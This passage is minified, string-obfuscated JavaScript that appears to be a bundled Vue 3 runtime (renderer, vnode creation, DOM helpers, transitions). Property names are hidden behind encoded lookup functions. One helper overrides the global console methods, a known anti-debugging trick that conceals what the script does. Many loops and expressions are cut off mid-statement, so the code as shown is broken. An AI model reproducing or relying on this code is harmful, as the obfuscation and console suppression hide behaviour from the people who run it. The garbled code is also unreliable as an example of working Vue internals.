D.ctx={_:D},D[g(h)]=e?e[v(p)]:D,D[v(d)]=go[C(y)](null,D),t.ce&&t.ce(D),D}(t,r,o);if(dr(t)&&(f[c(Ot)][c(Kt)+u(Tt)]=Sr),function(t,e=!1,n=!1){e&&Gs(e);const{props:r,children:o}=t.vnode,s=bs(t);(function(t,e,n,r=!1){const o=rn,s=tn,i={},a=Wo();t.propsDefaults=Object.create(null),bo(t,e,i,a);for(const c in t.propsOptions[0])!(c in i)&&(i[c]=void 0);n?t.props=r?i:Le(i):t.type[o(311)+"s"]?t[s(311)+"s"]=i:t[o(311)+"s"]=a,t.attrs=a})(t,r,s,e),((t,e,n)=>{const r=rn,o=t[r(1490)+"s"]=Wo();if(32&t.vnode[r(1305)+"eFlag"]){const t=e._;t?(Uo(o,e,n),n&&P(o,"_",t,!0)):Ho(e,o)}else e&&jo(t,e)})(t,o,n||e);s&&function(t,e){const n=217,r=593,o=1283,s=1543,i=1355,a=1372,c=en,u=nn,l=rn,f=rn,h=t[tn(1600)];t["acce"+f(n)+u(r)]=Object.create(null),t.proxy=new Proxy(t[c(o)],Yr);const{setup:p}=h;if(p){Ut();const n=t[l(s)+"pContext"]=p.length>1?Ss(t):null,r=Ws(t),o=cn(p,t,0,[t.props,n]),u=G(o);if(Et(),r(),(u||t.sp)&&!pr(t)&&ur(t),u){if(o.then(xs,xs),e)return o.then(e=>{Ls(t,e)})[f(i)+"h"](e=>{ln(e,t,0)});t[c(a)+"cDep"]=o}else Ls(t,o)}else Ms(t)}(t,e);e&&Gs(!1)}(f,!1,i),f.asyncDep){if(o&&o["register"+u(Jt)](f,Br,i),!t.el){const r=f["subT"+u(Vt)]=ls(Vo);nr(null,r,e,n),t["placehol"+l(Rt)]=r.el}}else Br(f,t,e,n,o,s,i)},Cr=(t,e,n)=>{const r=Pn,o=In,s=jn,i=e.component=t[r(Pt)+o(Yt)+"t"];if(function(t,e,n){const r=rn,o=nn,s=on,i=nn,{props:a,children:c,component:u}=t,{props:l,children:f,patchFlag:h}=e,p=u[r(733)+"sOpt"+r(460)];if(e[o(1593)]||e[i(1203)+r(714)+"on"])return!0;if(!(n&&h>=0))return!(!c&&!f||f&&f[r(732)+"ble"])||a!==l&&(a?!l||wo(a,l,p):!!l);if(1024&h)return!0;if(16&h)return a?wo(a,l,p):!!l;if(8&h){const t=e["dynamicP"+s(1513)];for(let e=0;e{const a=Un,c=In,u=jn,l=Un,f=()=>{const a=350,c=780,u=1517,l=xn,h=xn,p=xn,d=xn,y=xn;if(t[l(yt)+h(vt)+"d"]){let{next:e,bu:n,u:r,parent:v,vnode:g}=t;{const n=Zo(t);if(n)return e&&(e.el=g.el,zr(t,e,i)),void n["asyn"+h(Mt)][d(_t)](()=>{const e=d,n=l;!t[e(a)+e(c)+n(u)]&&f()})}let C,B=e;No(t,!1),e?(e.el=g.el,zr(t,e,i)):e=g,n&&E(n),(C=e[d(St)+"s"]&&e.props[y(xt)+"odeB"+p(It)+"eUpd"+d(kt)])&&Bs(C,v,e,g),No(t,!0);const z=qo(t),q=t.subTree;t["subT"+p(Ht)]=z,tr(q,z,Rn(q.el),Lr(q),t,o,s),e.el=z.el,null===B&&function({vnode:t,parent:e},n){const r=on,o=en,s=rn;for(;e;){const i=e.subTree;if(i[r(730)+"ense"]&&i[r(730)+o(333)]["activeBr"+s(357)]===t&&(i.el=t.el),i!==t)break;(t=e[o(468)+"e"]).el=n,e=e[r(745)+"nt"]}}(t,z.el),r&&Eo(r,o),(C=e.props&&e.props[y(xt)+"odeU"+h(jt)+"ed"])&&Eo(()=>Bs(C,v,e,g),o)}else{let i;const{props:a}=e,{bm:c,m:u,parent:f,root:v,type:g}=t,C=pr(e);No(t,!1),c&&E(c),!C&&(i=a&&a.onVnodeBeforeMount)&&Bs(i,f,e),No(t,!0);{v.ce&&!1!==v.ce._def[d(gt)+d(Ct)+"ot"]&&v.ce[p(Bt)+y(qt)+d(mt)+d(wt)+"e"](g);const i=t[l(Gt)+p(Wt)]=qo(t);tr(null,i,n,r,t,o,s),e.el=i.el}if(u&&Eo(u,o),!C&&(i=a&&a[h(xt)+"odeMounted"])){const t=e;Eo(()=>Bs(i,f,t),o)}(256&e[l(bt)+"eFlag"]||f&&pr(f[l(At)+"e"])&&256&f.vnode["shap"+p(Lt)+"g"])&&t.a&&Eo(t.a,o),t["isMo"+y(vt)+"d"]=!0,e=n=r=null}};t[a(ut)+"e"].on();const h=t.effect=new Dt(f);t[c(ut)+"e"].off();const p=t[a(lt)+"te"]=h[a(ft)][u(ht)](h),d=t[l(pt)]=h.runIfDirty.bind(h);d.i=t,d.id=t[a(dt)],h.scheduler=()=>Bn(d),No(t,!0),p()},zr=(t,e,n)=>{const r=Un,o=Pn,s=jn;e["comp"+r(ot)+"t"]=t;const i=t[o(st)+"e"][o(it)+"s"];t.vnode=e,t.next=null,function(t,e,n,r){const o=rn,s=on,{props:i,attrs:a,vnode:{patchFlag:c}}=t,u=je(i),[l]=t[o(311)+"sOptions"];let f=!1;if(!(r||c>0)||16&c){let r;bo(t,e,i,a)&&(f=!0);for(const o in u)(!e||!v(e,o)&&((r=k(o))===o||!v(e,r)))&&(l?n&&(void 0!==n[o]||void 0!==n[r])&&(i[o]=Ao(l,u,o,void 0,t,!0)):delete i[o]);if(a!==u)for(const t in a)(!e||!v(e,t))&&(delete a[t],f=!0)}else if(8&c){const n=t.vnode[o(226)+"micProps"];for(let r=0;r{const r=en,{vnode:o,slots:s}=t;let i=!0,c=a;if(32&o.shapeFlag){const t=e._;t?n&&1===t?i=!1:Uo(s,e,n):(i=!e["$sta"+r(1081)],Ho(e,s)),c=e}else e&&(jo(t,e),c={default:1});if(i)for(const a in s)!So(a)&&null==c[a]&&delete s[a]})(t,e[s(ct)+"dren"],n),Ut(),qn(t),Et()},qr=(t,e,n,r,o,s,i,a,c=!1)=>{const u=jn,l=Un,f=In,h=Pn,p=t&&t[En(tt)+u(et)],d=t?t[l(nt)+"eFlag"]:0,y=e[f(tt)+h(rt)],{patchFlag:v,shapeFlag:g}=e;if(v>0){if(128&v)return void mr(p,y,n,r,o,s,i,a,c);if(256&v)return void Dr(p,y,n,r,o,s,i,a,c)}8&g?(16&d&&Ar(p,o,s),y!==p&&Vn(n,y)):16&d?16&g?mr(p,y,n,r,o,s,i,a,c):Ar(p,o,s,!0):(8&d&&Vn(n,""),16&g&&ar(y,n,r,o,s,i,a,c))},Dr=(t,e,n,r,o,s,i,a,u)=>{const l=Pn;e=e||c;const f=(t=t||c)[En($)+"th"],h=e[l($)+"th"],p=Math.min(f,h);let d;for(d=0;dh?Ar(t,o,s,!0,!1,p):ar(e,n,r,o,s,i,a,u,p)},mr=(t,e,n,r,o,s,i,a,u)=>{const l=jn,f=jn,h=Pn;let p=0;const d=e[l(J)+"th"];let y=t[l(V)+"th"]-1,v=d-1;for(;p<=y&&p<=v;){const r=t[p],c=e[p]=u?vs(e[p]):ys(e[p]);if(!is(r,c))break;tr(r,c,n,null,o,s,i,a,u),p++}for(;p<=y&&p<=v;){const r=t[y],c=e[v]=u?vs(e[v]):ys(e[v]);if(!is(r,c))break;tr(r,c,n,null,o,s,i,a,u),y--,v--}if(p>y){if(p<=v){const t=v+1,c=tv)for(;p<=y;)Gr(t[p],o,s,!0),p++;else{const g=p,C=p,B=new Map;for(p=C;p<=v;p++){const t=e[p]=u?vs(e[p]):ys(e[p]);null!=t[l(R)]&&B.set(t.key,p)}let z,q=0;const D=v-C+1;let m=!1,w=0;const G=new Array(D);for(p=0;p=D){Gr(r,o,s,!0);continue}let c;if(null!=r[f(F)])c=B.get(r[h(Q)]);else for(z=C;z<=v;z++)if(0===G[z-C]&&is(r,e[z])){c=z;break}void 0===c?Gr(r,o,s,!0):(G[c-C]=p+1,c>=w?w=c:m=!0,tr(r,e[c],n,null,o,s,i,a,u),q++)}const W=m?function(t){const e=1093,n=319,r=nn,o=rn,s=t.slice(),i=[0];let a,c,u,l,f;const h=t.length;for(a=0;a>1,t[i[f]]0&&(s[a]=i[u-1]),i[u]=a)}}for(u=i.length,l=i[u-1];u-- >0;)i[u]=l,l=s[l];return i}(G):c;for(z=W.length-1,p=D-1;p>=0;p--){const t=C+p,c=e[t],l=e[t+1],f=t+1{const s=1283,i=350,a=780,c=In,u=Pn,l=In,f=jn,{el:h,type:p,transition:d,children:y,shapeFlag:v}=t;if(6&v)wr(t[c(U)+c(Y)+"t"].subTree,e,n,r);else if(128&v)t[u(N)+"ense"][l(Z)](e,n,r);else if(64&v)p.move(t,e,n,Sr);else if(p!==To)if(p!==Ro)if(2!==r&&1&v&&d)if(0===r)d["befo"+l(K)+"ter"](h),Yn(h,e,n),Eo(()=>d.enter(h),o);else{const{leave:r,delayLeave:o,afterLeave:u}=d,l=()=>{const r=f,o=c;t[r(s)][o(i)+r(a)+"ted"]?Nn(h):Yn(h,e,n)},p=()=>{h[c(T)+"eaving"]&&h[Jn](!0),r(h,()=>{l(),u&&u()})};o?o(h,l,p):p()}else Yn(h,e,n);else(({el:t,anchor:e},n,r)=>{let o;for(;t&&t!==e;)o=Fn(t),Yn(t,n,r),t=o;Yn(e,n,r)})(t,e,n);else{Yn(h,e,n);for(let t=0;t{const s=1302,i=En,a=Pn,c=En,u=Pn,l=Pn,{type:f,props:h,ref:p,children:d,dynamicChildren:y,shapeFlag:v,patchFlag:G,dirs:L,cacheIndex:S}=t;if(-2===G&&(o=!1),null!=p&&(Ut(),fr(p,null,n,t,!0),Et()),null!=S&&(e[i(g)+i(C)+a(B)][S]=void 0),256&v)return void e.ctx["deac"+c(z)+"te"](t);const k=1&v&&L,U=!pr(t);let E;if(U&&(E=h&&h[a(q)+"odeB"+c(D)+"eUnm"+i(m)])&&Bs(E,e,t),6&v)br(t[c(w)+"onent"],n,r);else{if(128&v)return void t[l(W)+"ense"][u(x)+"unt"](n,r);k&&kn(t,null,e,"beforeUnmount"),64&v?t[u(b)].remove(t,e,n,Sr,r):y&&!y[i(A)+i(M)]&&(f!==To||G>0&&64&G)?Ar(y,e,n,!1,!0):(f===To&&384&G||!o&&16&v)&&Ar(d,e,n),r&&Wr(t)}(U&&(E=h&&h[a(_)+i(I)+l(H)+u(j)])||k)&&Eo(()=>{const n=l;E&&Bs(E,e,t),k&&kn(t,null,e,"unmo"+n(s)+"d")},n)},Wr=t=>{const e=1333,n=287,r=1201,o=1465,s=1201,i=Un,a=Un,c=Pn,u=jn,{type:l,el:f,anchor:h,transition:p}=t;if(l===To)return void xr(f,h);if(l===Ro)return void(({el:t,anchor:e})=>{let n;for(;t&&t!==e;)n=Fn(t),Nn(t),t=n;Nn(e)})(t);const v=()=>{const t=a,c=i,u=a;Nn(f),p&&!p[t(e)+t(n)+"d"]&&p[u(r)+c(o)+"ve"]&&p[c(s)+"rLeave"]()};if(1&t[c(d)+"eFlag"]&&p&&!p[u(y)+"isted"]){const{leave:e,delayLeave:n}=p,r=()=>e(f,v);n?n(t.el,v,r):r()}else v()},xr=(t,e)=>{let n;for(;t!==e;)n=Fn(t),Nn(t),t=n;Nn(e)},br=(t,e,n)=>{const{bum:r,scope:o,job:s,subTree:i,um:a,m:c,a:u}=t;Oo(c),Oo(u),r&&E(r),o.stop(),s&&(s.flags|=8,Gr(i,t,e,n)),a&&Eo(a,e),Eo(()=>{const e=xn;t[e(h)+"moun"+e(p)]=!0},e)},Ar=(t,e,n,r=!1,o=!1,s=0)=>{for(let i=s;i{const e=In,n=Un;if(6&t[Un(s)+"eFlag"])return Lr(t.component[e(i)+n(l)]);if(128&t.shapeFlag)return t["susp"+e(f)].next();const r=Fn(t.anchor||t.el),o=r&&r[Hn];return o?Fn(o):r};let Mr=!1;const _r=(t,e,n)=>{const s=Pn,i=Un;null==t?e._vnode&&Gr(e._vnode,null,null,!0):tr(e[s(r)+"de"]||null,t,e,null,null,null,n),e[i(o)+"de"]=t,!Mr&&(Mr=!0,qn(),Dn(),Mr=!1)},Sr={p:tr,um:Gr,m:wr,r:Wr,mt:gr,mc:ar,pc:qr,pbc:lr,n:Lr,o:t};return{render:_r,hydrate:undefined,createApp:oo(_r)}}(t)}function Yo({type:t,props:e},n){const r=tn,o=nn,s=en;return n===r(379)&&t==="foreignO"+r(430)+"t"||"mathml"===n&&t===o(400)+o(660)+"on-xml"&&e&&e.encoding&&e[o(281)+o(1190)][s(968)+o(423)]("html")?void 0:n}function No({effect:t,job:e},n){const r=nn,o=nn;n?(t.flags|=32,e[r(360)+"s"]|=4):(t.flags&=-33,e[o(360)+"s"]&=-5)}function Xo(t,e,n=!1){const r=tn,o=on,s=en,i=rn,a=t[r(1003)+r(358)],c=e["chil"+o(358)];if(g(a)&&g(c))for(let u=0;ut[en(869)+nn(815)+"ense"];rn(333);const To=Symbol.for(rn(1043)+"t"),Jo=Symbol.for("v-txt"),Vo=Symbol[rn(1440)]("v-cmt"),Ro=Symbol[on(1440)](rn(1412)+"c"),Fo=[];let Qo=null;function $o(t=!1){Fo[tn(1093)](Qo=t?null:[])}let ts=1;function es(t,e=!1){ts+=t,t<0&&Qo&&e&&(Qo[rn(1520)+"nce"]=!0)}function ns(t){const e=en,n=rn;return t["dyna"+on(388)+e(297)+n(474)]=ts>0?Qo||c:null,function(){const t=en;Fo[rn(1488)](),Qo=Fo[Fo[t(319)+"th"]-1]||null}(),ts>0&&Qo&&Qo.push(t),t}function rs(t,e,n,r,o,s){return ns(us(t,e,n,r,o,s,!0))}function os(t,e,n,r,o){return ns(ls(t,e,n,r,o,!0))}function ss(t){const e=on;return!!t&&!0===t["__v_"+rn(946)+e(1127)]}function is(t,e){const n=rn;return t.type===e[n(1600)]&&t[n(1443)]===e.key}const as=({key:t})=>null!=t?t:null,cs=({ref:t,ref_key:e,ref_for:n})=>("number"==typeof t&&(t=""+t),null!=t?D(t)||Pe(t)||q(t)?{i:Ln,r:t,k:e,f:!!n}:t:null);function us(t,e=null,n=null,r=0,o=null,s=(t===To?0:1),i=!1,a=!1){const c=nn,u=rn,l=rn,f=nn,h={__v_isVNode:!0,__v_skip:!0,type:t,props:e,key:e&&as(e),ref:e&&cs(e),scopeId:Mn,slotScopeIds:null,children:n,component:null,suspense:null,ssContent:null,ssFallback:null,dirs:null,transition:null,el:null,anchor:null,target:null,targetStart:null,targetAnchor:null,staticCount:0,shapeFlag:s,patchFlag:r,dynamicProps:o,dynamicChildren:null,appContext:null,ctx:Ln};return a?(gs(h,n),128&s&&t[c(1374)+"alize"](h)):n&&(h[u(1305)+l(666)+"g"]|=D(n)?8:16),ts>0&&!i&&Qo&&(h["patc"+u(485)+"g"]>0||6&s)&&32!==h["patc"+u(485)+"g"]&&Qo[f(1093)](h),h}const ls=function(t,e=null,n=null,r=0,o=null,s=!1){const i=rn,a=on,c=tn,u=nn;if((!t||t===_r)&&(t=Vo),ss(t)){const r=fs(t,e,!0);return n&&gs(r,n),ts>0&&!s&&Qo&&(6&r[a(1305)+u(666)+"g"]?Qo[Qo[u(1603)+a(440)](t)]=r:Qo.push(r)),r[c(1604)+a(485)+"g"]=-2,r}if(function(t){const e=nn;return q(t)&&e(980)+"cOpts"in t}(t)&&(t=t[i(980)+"cOpts"]),e){e=function(t){return t?He(t)||xo(t)?p({},t):t:null}(e);let{class:t,style:n}=e;t&&!D(t)&&(e.class=R(t)),w(n)&&(He(n)&&!g(n)&&(n=p({},n)),e.style=O(n))}return us(t,e,n,r,o,D(t)?1:Ko(t)?128:jn(t)?64:w(t)?4:q(t)?2:0,s,!0)};function fs(t,e,n=!1,r=!1){const o=nn,s=tn,i=on,a=rn,c=on,{props:u,ref:l,patchFlag:f,children:h,transition:p}=t,d=e?Cs(u||{},e):u,y={__v_isVNode:!0,__v_skip:!0,type:t[o(1600)],props:d,key:d&&as(d),ref:e&&e.ref?n&&l?g(l)?l.concat(cs(e)):[l,cs(e)]:cs(e):l,scopeId:t[o(1554)+i(1208)],slotScopeIds:t["slot"+o(928)+c(1316)],children:h,target:t.target,targetStart:t["targ"+i(1518)+i(1470)],targetAnchor:t.targetAnchor,staticCount:t["staticCo"+i(394)],shapeFlag:t["shap"+s(666)+"g"],patchFlag:e&&t[a(1600)]!==To?-1===f?16:16|f:f,dynamicProps:t[o(226)+"micP"+s(1513)],dynamicChildren:t[i(226)+"micC"+c(297)+"ren"],appContext:t.appContext,dirs:t[o(1593)],transition:p,component:t["comp"+s(342)+"t"],suspense:t[o(730)+a(333)],ssContent:t.ssContent&&fs(t.ssContent),ssFallback:t[o(1384)+"llback"]&&fs(t[s(1384)+"llback"]),placeholder:t[s(691)+s(458)+i(1389)],el:t.el,anchor:t[o(357)+"or"],ctx:t.ctx,ce:t.ce};return p&&r&&ir(y,p[o(995)+"e"](y)),y}function hs(t=" ",e=0){return ls(Jo,null,t,e)}function ps(t,e){const n=tn,r=ls(Ro,null,t);return r["staticCo"+n(394)]=e,r}function ds(t="",e=!1){return e?($o(),os(Vo,null,t)):ls(Vo,null,t)}function ys(t){const e=tn;return null==t||typeof t==on(1485)+"ean"?ls(Vo):g(t)?ls(To,null,t[e(1335)+"e"]()):ss(t)?vs(t):ls(Jo,null,String(t))}function vs(t){return null===t.el&&-1!==t[on(1604)+"hFlag"]||t.memo?t:fs(t)}function gs(t,e){const n=on,r=en,o=on,s=nn;let i=0;const{shapeFlag:a}=t;if(null==e)e=null;else if(g(e))i=16;else if(typeof e==n(355)+"ct"){if(65&a){const n=e.default;return void(n&&(n._c&&(n._d=!1),gs(t,n()),n._c&&(n._d=!0)))}{i=32;const s=e._;s||xo(e)?3===s&&Ln&&(1===Ln[o(1490)+"s"]._?e._=1:(e._=2,t[r(1604)+r(485)+"g"]|=1024)):e[n(1417)]=Ln}}else q(e)?(e={default:e,_ctx:Ln},i=32):(e=String(e),64&a?(i=16,e=[hs(e)]):i=8);t["chil"+s(358)]=e,t[n(1305)+r(666)+"g"]|=i}function Cs(...t){const e=1075,n=on,r=en,o=en,s=on,i={};for(let a=0;aDs||Ln;let ws,Gs;{const t=X(),e=(e,n)=>{const r=en;let o;return(o=t[e])||(o=t[e]=[]),o[r(1093)](n),t=>{o.length>1?o["forE"+r(650)](e=>e(t)):o[0](t)}};ws=e("__VUE_IN"+nn(1307)+"CE_SETTERS__",t=>Ds=t),Gs=e(on(727)+nn(562)+"R_SE"+rn(448)+"S__",t=>As=t)}const Ws=t=>{const e=Ds;return ws(t),t.scope.on(),()=>{t.scope.off(),ws(e)}},xs=()=>{const t=nn;Ds&&Ds[nn(1554)+"e"][t(498)](),ws(null)};function bs(t){return 4&t[tn(468)+"e"].shapeFlag}i(on(1490)+tn(1259)+tn(1207)+"nt");let As=!1;function Ls(t,e,n){const r=on,o=rn,s=tn,i=tn;q(e)?t[r(1600)][o(501)+"rInlineRender"]?t[s(553)+o(808)+"r"]=e:t[s(919)+"er"]=e:w(e)&&(t["setu"+i(777)+"te"]=Te(e)),Ms(t)}function Ms(t,e,n){const r=on,o=t.type;t[r(919)+"er"]||(t[r(919)+"er"]=o.render||u);{const e=Ws(t);Ut();try{!function(t){const e=on,n=on,r=tn,o=tn,s=en,i=Jr(t),a=t.proxy,c=t[e(1283)];Or=!1,i["beforeCr"+e(1551)]&&Kr(i[e(851)+o(1155)+"eate"],t,"bc");const{data:l,computed:f,methods:h,watch:p,provide:d,inject:y,created:v,beforeMount:C,mounted:B,beforeUpdate:z,updated:D,activated:m,deactivated:G,beforeUnmount:W,unmounted:x,render:b,renderTracked:A,renderTriggered:L,errorCaptured:M,serverPrefetch:_,expose:S,inheritAttrs:I,components:k,directives:H}=i;if(y&&function(t,e){const n=1165,r=1069,o=1165,s=1482,i=1370,a=on,c=en,u=nn;g(t)&&(t=Qr(t));for(const l in t){const f=t[l];let h;h=w(f)?a(n)+c(r)in f?ao(f.from||l,f[c(o)+"ult"],!0):ao(f.from||l):ao(f),Pe(h)?Object[u(s)+c(i)+"operty"](e,l,{enumerable:!0,configurable:!0,get:()=>h.value,set:t=>h.value=t}):e[l]=h}}(y,c),h)for(const u in h){const t=h[u];q(t)&&(c[u]=t.bind(a))}if(l){const e=l.call(a,a);w(e)&&(t[o(1429)]=Ae(e))}if(Or=!0,f)for(const g in f){const t=f[g],n=q(t)?t.bind(a,a):q(t[e(1390)])?t[r(1390)].bind(a,a):u,o=!q(t)&&q(t.set)?t[r(957)][s(1188)](a):u,i=ks({get:n,set:o});Object["defi"+e(1370)+"operty"](c,g,{enumerable:!0,configurable:!0,get:()=>i.value,set:t=>i.value=t})}if(p)for(const u in p)Tr(p[u],c,a,u);if(d){const t=q(d)?d[n(858)](a):d;Reflect["ownK"+o(1545)](t).forEach(e=>{io(e,t[e])})}function j(t,e){const r=n;g(e)?e["forE"+r(650)](e=>t(e.bind(a))):e&&t(e[r(1188)](a))}if(v&&Kr(v,t,"c"),j(qr,C),j(Dr,B),j(mr,z),j(wr,D),j(yr,m),j(vr,G),j(Lr,M),j(Ar,A),j(br,L),j(Gr,W),j(Wr,x),j(xr,_),g(S))if(S[n(319)+"th"]){const r=t["expo"+n(1113)]||(t[n(917)+"sed"]={});S[n(1535)+o(650)](t=>{Object["defi"+e(1370)+"operty"](r,t,{get:()=>a[t],set:e=>a[t]=e,enumerable:!0})})}else!t[n(917)+"sed"]&&(t[n(917)+r(1113)]={});b&&t[e(919)+"er"]===u&&(t.render=b),null!=I&&(t.inheritAttrs=I),k&&(t[r(1119)+"onents"]=k),H&&(t[s(701)+s(856)+"es"]=H),_&&ur(t)}(t)}finally{Et(),e()}}}const _s={get:(t,e)=>(Rt(t,0,""),t[e])};function Ss(t){const e=tn,n=on;return{attrs:new Proxy(t.attrs,_s),slots:t[e(1490)+"s"],emit:t[n(733)],expose:e=>{t.exposed=e||{}}}}function Is(t){const e=en,n=en;return t.exposed?t.exposeProxy||(t["expo"+e(740)+e(298)]=new Proxy(Te(function(t){const e=dt,n=vt,r=ht;return!v(t,e(594)+e(499))&&Object["isExtens"+r(655)](t)&&P(t,r(594)+n(499),!0),t}(t.exposed)),{get:(e,n)=>n in e?e[n]:n in Er?Er[n](t):void 0,has:(t,e)=>e in t||e in Er})):t[n(882)+"y"]}const ks=(t,e)=>{const n=function(t,e,n=!1){const r=dt,o=dt;let s,i;return q(t)?s=t:(s=t[r(712)],i=t[o(591)]),new Ve(s,i,n)}(t,0,As);return n};function Hs(t,e,n){const r=on,o=on;try{es(-1);const s=arguments[r(319)+"th"];return 2===s?w(e)&&!g(e)?ss(e)?ls(t,null,[e]):ls(t,e):ls(t,null,e):(s>3?n=Array["prot"+r(680)+"e"].slice[o(858)](arguments,2):3===s&&ss(n)&&(n=[n]),ls(t,e,n))}finally{es(1)}}const js=tn(818)+"25",Us=Zs,Es=Zs,Ps=Zs,Ys=Zs,Ns=Zs;let Xs;function Zs(t,e){t-=214;const n=fa();let r=n[t];void 0===Zs.icGLcS&&(Zs.TjAnxR=function(t){let e="",n="";for(let r,o,s=0,i=0;o=t.charAt(i++);~o&&(r=s%4?64*r+o:o,s++%4)?e+=String.fromCharCode(255&r>>(-2*s&6)):0)o="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(o);for(let r=0,o=e.length;rt})}catch($h){}const Ks=Xs?t=>Xs[Es(420)+Ns(641)+"ML"](t):t=>t,Ts="http://w"+Ps(627)+"3.or"+Ps(768)+Ns(618)+"vg",Js="http://www.w"+Ys(488)+"g/19"+Ns(362)+"ath/"+Us(340)+"ML",Vs=typeof document!=Es(559)+"fined"?document:null,Rs=Vs&&Vs.createElement(Ns(439)+Ns(395)),Fs={insert:(t,e,n)=>{e.insertBefore(t,n||null)},remove:t=>{const e=t.parentNode;e&&e["remo"+Es(453)+"ild"](t)},createElement:(t,e,n,r)=>{const o=Ys,s=Ns,i=Ps,a=Ps,c=e===o(328)?Vs[s(420)+"teEl"+s(487)+"tNS"](Ts,t):"mathml"===e?Vs[o(420)+"teEl"+o(487)+a(319)](Js,t):n?Vs[a(420)+"teEl"+s(487)+"t"](t,{is:n}):Vs["createEl"+i(487)+"t"](t);return"select"===t&&r&&null!=r[a(543)+o(728)]&&c[i(214)+i(320)+s(421)](a(543)+a(728),r["mult"+o(728)]),c},createText:t=>Vs["crea"+Ns(550)+Us(774)+"de"](t),createComment:t=>Vs["createCo"+Ps(702)+"t"](t),setText:(t,e)=>{const n=Us;t[Es(263)+n(414)+"e"]=e},setElementText:(t,e)=>{const n=Ys;t[Us(375)+n(577)+"ent"]=e},parentNode:t=>t["pare"+Ns(318)+"de"],nextSibling:t=>t[Ys(771)+"Sibl"+Ns(711)],querySelector:t=>Vs.querySelector(t),setScopeId(t,e){const n=Es;t["setA"+n(320)+n(421)](e,"")},insertStaticContent(t,e,n,r,o,s){const i=Us,a=Ys,c=Ns,u=Ys,l=Es,f=n?n[i(335)+"ious"+i(622)+"ing"]:e[c(276)+c(726)+"d"];if(o&&(o===s||o[l(771)+"Sibling"]))for(;e[a(469)+c(590)+i(364)](o[u(306)+"eNode"](!0),n),o!==s&&(o=o["next"+a(622)+c(711)]););else{Rs["inne"+c(611)+"L"]=Ks(r===u(328)?""+t+"":r===a(397)+"ml"?""+t+"{const e=Us,n=Ns;return t[Us(664)+e(496)+"ame"]=n(449)+e(236)+"on",t[n(273)+"s"]=ni,t})((t,{slots:e})=>Hs(er,ii(t),e)),oi=(t,e=[])=>{g(t)?t.forEach(t=>t(...e)):t&&t(...e)},si=t=>{const e=Ys;return!!t&&(g(t)?t[e(742)](t=>t.length>1):t.length>1)};function ii(t){const e={i:386,y:294,b:260,G:631,l:294,k:249,B:332,v:381,K:710,c:332,s:425},n=Ns,r=Es,o=Ys,s=Ps,i=function(){let t=!0;return function(e,n){const r=t?function(){if(n){const t=n.apply(e,arguments);return n=null,t}}:function(){};return t=!1,r}}();i(this,function(){const t=Zs,e=Zs,n=Zs,r=function(){const t=Zs,e=Zs,n=Zs;let r;try{r=Function(t(445)+e(616)+"function() {}.c"+e(451)+e(264)+'or("return t'+n(528)+t(573)+");")()}catch(o){r=window}return r}(),o=r.console=r.console||{},s=[t(325),"warn","info",t(494)+"r","exception",e(582)+"e","trace"];for(let a=0;a{const i=o,a=s;t[i(303)+i(662)+"ncel"+a(719)]=r,ui(t,e?g:d),ui(t,e?v:h),n&&n()},I=(t,e)=>{const r=n;t[r(436)+r(722)+"ng"]=!1,ui(t,C),ui(t,z),ui(t,B),e&&e()},k=t=>(e,n)=>{const r=t?M:W,o=()=>S(e,t,n);oi(r,[e,o]),li(()=>{ui(e,t?y:f),ci(e,t?g:d),!si(r)&&hi(e,u,D,o)})};return p(a,{onBeforeEnter(t){oi(G,[t]),ci(t,f),ci(t,h)},onBeforeAppear(t){oi(L,[t]),ci(t,y),ci(t,v)},onEnter:k(!1),onAppear:k(!0),onLeave(t,e){const n=o;t._isLeaving=!0;const r=()=>I(t,e);ci(t,C),t[n(303)+"erCancelled"]?(ci(t,B),vi(t)):(vi(t),ci(t,B)),li(()=>{t._isLeaving&&(ui(t,C),ci(t,z),!si(b)&&hi(t,u,m,r))}),oi(b,[t,r])},onEnterCancelled(t){S(t,!1,void 0,!0),oi(x,[t])},onAppearCancelled(t){S(t,!0,void 0,!0),oi(_,[t])},onLeaveCancelled(t){I(t),oi(A,[t])}})}function ai(t){return(t=>{const e=D(t)?Number(t):NaN;return isNaN(e)?t:e})(t)}function ci(t,e){const n=Ps;e.split(/\s+/).forEach(e=>e&&t.classList[n(628)](e)),(t[ti]||(t[ti]=new Set)).add(e)}function ui(t,e){const n=Us,r=Ns,o=Ys;e[n(646)+"t"](/\s+/)[n(561)+n(522)](e=>e&&t["clas"+r(365)+"t"][r(467)+"ve"](e));const s=t[ti];s&&(s[o(725)+"te"](e),!s.size&&(t[ti]=void 0))}function li(t){requestAnimationFrame(()=>{requestAnimationFrame(t)})}let fi=0;function hi(t,e,n,r){const o=Es,s=Es,i=t._endId=++fi,a=()=>{i===t._endId&&r()};if(null!=n)return setTimeout(a,n);const{type:c,timeout:u,propCount:l}=pi(t,e);if(!c)return r();const f=c+o(578);let h=0;const p=()=>{const e=o;t[o(467)+"veEv"+e(287)+"istener"](f,d),a()},d=e=>{e.target===t&&++h>=l&&p()};setTimeout(()=>{h(i[t]||"").split(", "),c=a(Qs+"Delay"),u=a(Qs+(n(715)+o(638))),l=di(c,u),f=a($s+(r(286)+"y")),h=a($s+(r(715)+n(638))),p=di(f,h);let d=null,y=0,v=0;return e===Qs?l>0&&(d=Qs,y=l,v=u.length):e===$s?p>0&&(d=$s,y=p,v=h[s(465)+"th"]):(y=Math.max(l,p),d=y>0?l>p?Qs:$s:null,v=d?d===Qs?u.length:h.length:0),{type:d,timeout:y,propCount:v,hasTransform:d===Qs&&/\b(?:transform|all)(?:,|$)/.test(a(Qs+"Prop"+s(658)).toString())}}function di(t,e){const n=Ns,r=Ps,o=Ps;for(;t[n(465)+"th"]yi(e)+yi(t[n])))}function yi(t){const e=Ps;return"auto"===t?0:1e3*Number(t[Ys(225)+"e"](0,-1)[e(394)+"ace"](",","."))}function vi(t){const e=Es,n=Ns;return(t?t[e(634)+"rDoc"+n(636)+"t"]:document).body["offsetHe"+e(447)]}const gi=Symbol("_vod"),Ci=Symbol("_vsh");Es(502);const Bi=Symbol(""),zi=/(?:^|;)\s*display\s*:/,qi=/\s*!important$/;function Di(t,e,n){const r=Es,o=Ns,s=Us,i=Ys;if(g(n))n.forEach(n=>Di(t,e,n));else if(null==n&&(n=""),e.startsWith("--"))t.setProperty(e,n);else{const a=function(t,e){const n=596,r=465,o=Ps,s=Us,i=wi[e];if(i)return i;let a=S(e);if(a!==o(n)+"er"&&a in t)return wi[e]=a;a=H(a);for(let 